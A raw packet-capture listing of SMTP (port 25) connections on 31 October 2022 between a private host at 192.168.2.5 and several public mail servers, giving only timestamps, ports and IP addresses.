Oct 31, 2022 12:21:10.965524912 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965533018 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965655088 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965667963 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965676069 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965743065 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965756893 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965768099 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965780020 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965790987 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965804100 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965816975 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965828896 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.965841055 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:10.982393026 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.982424974 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.982436895 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.982450008 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.982460976 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.982476950 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:10.982553959 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:10.982623100 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:11.003556967 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:11.004070997 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:11.035088062 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.035203934 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:11.038459063 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.038489103 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.038501024 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.038508892 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.038516998 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.038573980 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.039324999 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.057768106 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.057965994 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:11.076885939 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.077935934 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:11.089601040 CET	25	50132	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:11.110728025 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.114325047 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.114542007 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:11.120825052 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.121063948 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:11.159503937 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.161591053 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.168628931 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.171144962 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.174271107 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:11.174304962 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:11.212529898 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.224965096 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.225197077 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:11.229540110 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.229778051 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:11.281339884 CET	25	50139	217.69.139.150	192.168.2.5
Oct 31, 2022 12:21:11.281506062 CET	50139	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:21:11.289412975 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.331679106 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:11.453380108 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.512876034 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:11.512881994 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:11.543394089 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.543442965 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:11.543586016 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.452054024 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.452176094 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.452246904 CET	50138	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.485198021 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.488533974 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:12.493072033 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.493227005 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.495064974 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.506433010 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.506556034 CET	25	50138	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.506824970 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.528121948 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.528166056 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.528206110 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.528223038 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.528240919 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.528395891 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.528491974 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.533551931 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.533751011 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.561629057 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561666012 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561678886 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561691999 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561703920 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561702967 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.561716080 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561728954 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561743021 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561755896 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561768055 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561780930 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561791897 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561794996 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.561794996 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.561805010 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561820030 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561831951 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561834097 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.561845064 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561857939 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.561871052 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.563669920 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.566696882 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.566718102 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594664097 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594700098 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594712973 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594722033 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594731092 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594743013 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594755888 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594768047 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594780922 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594794989 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594806910 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594819069 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594830990 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594841957 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594855070 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594865084 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594890118 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.594904900 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.623420954 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.686903954 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.701628923 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.709805965 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.734638929 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.734759092 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.741147995 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764049053 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764090061 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764106035 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764122963 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764139891 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764154911 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764172077 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764187098 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764204025 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764220953 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.764256001 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.764256001 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.764341116 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.767522097 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.778776884 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.778814077 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.778933048 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.793488026 CET	50141	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:21:12.818455935 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818495989 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818514109 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818531990 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818552971 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818571091 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818599939 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818617105 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818633080 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818650961 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818660975 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.818660975 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.818670988 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818690062 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818711042 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818731070 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818732977 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.818732977 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.818753958 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818774939 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818795919 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818811893 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818830967 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.818849087 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.826528072 CET	25	50141	142.250.147.26	192.168.2.5
Oct 31, 2022 12:21:12.864849091 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:12.864974022 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:12.872932911 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.872967005 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.872992039 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873009920 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873028040 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873044014 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873061895 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873079062 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873100042 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873117924 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873133898 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873152971 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873171091 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873191118 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873214006 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873236895 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873262882 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.873286009 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.877068996 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.877196074 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.891266108 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:12.917139053 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:12.924902916 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:12.925024986 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:12.931655884 CET	25	50140	142.250.150.27	192.168.2.5
Oct 31, 2022 12:21:12.931756973 CET	50140	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:21:12.960377932 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:12.960537910 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:12.994175911 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:12.997087955 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:12.997248888 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.031060934 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.036098003 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.075208902 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.171894073 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:13.171996117 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:13.183804035 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.184026003 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.217567921 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.218575954 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.218713045 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.220303059 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.254065037 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.254092932 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.254105091 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.254113913 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.254123926 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.254174948 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.254261971 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.259799004 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.259902954 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.274280071 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:13.274362087 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:13.287775993 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287802935 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287811041 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287818909 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287832975 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287844896 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287857056 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287869930 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287878036 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287889004 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287925005 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287936926 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287945032 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287952900 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.287988901 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.288002014 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.288014889 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.288027048 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.288039923 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.288060904 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.293567896 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.293590069 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321784973 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321829081 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321852922 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321878910 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321907997 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321933985 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321959972 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.321966887 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.321986914 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322109938 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322138071 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322164059 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322187901 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322211027 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322235107 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322257042 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322278976 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322300911 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.322324038 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.355597019 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.408592939 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:13.408746958 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:13.522989988 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.523025036 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.523119926 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.523277044 CET	50143	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:21:13.556602001 CET	25	50143	64.233.167.27	192.168.2.5
Oct 31, 2022 12:21:13.575968981 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:13.576055050 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:13.625910044 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:13.658814907 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.658998966 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:13.701272964 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.701859951 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:13.735122919 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.745254993 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.750080109 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:13.784619093 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:13.787820101 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.791579962 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.791707993 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:13.801862955 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:13.802025080 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:13.829966068 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.952162027 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.952512980 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:13.954041004 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:13.954229116 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:13.985601902 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.993818045 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:13.994050026 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.006972075 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.031915903 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040158033 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040198088 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040215969 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040235043 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040251970 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040268898 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040286064 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040302992 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040318966 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040335894 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.040375948 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.040375948 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.040443897 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.073690891 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073717117 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073729038 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073740959 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073751926 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073765039 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073776960 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073788881 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073800087 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073812008 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073815107 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.073856115 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073868036 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073884010 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073884964 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.073930979 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.073970079 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073982000 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.073992968 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.074004889 CET	25	50145	142.250.147.27	192.168.2.5
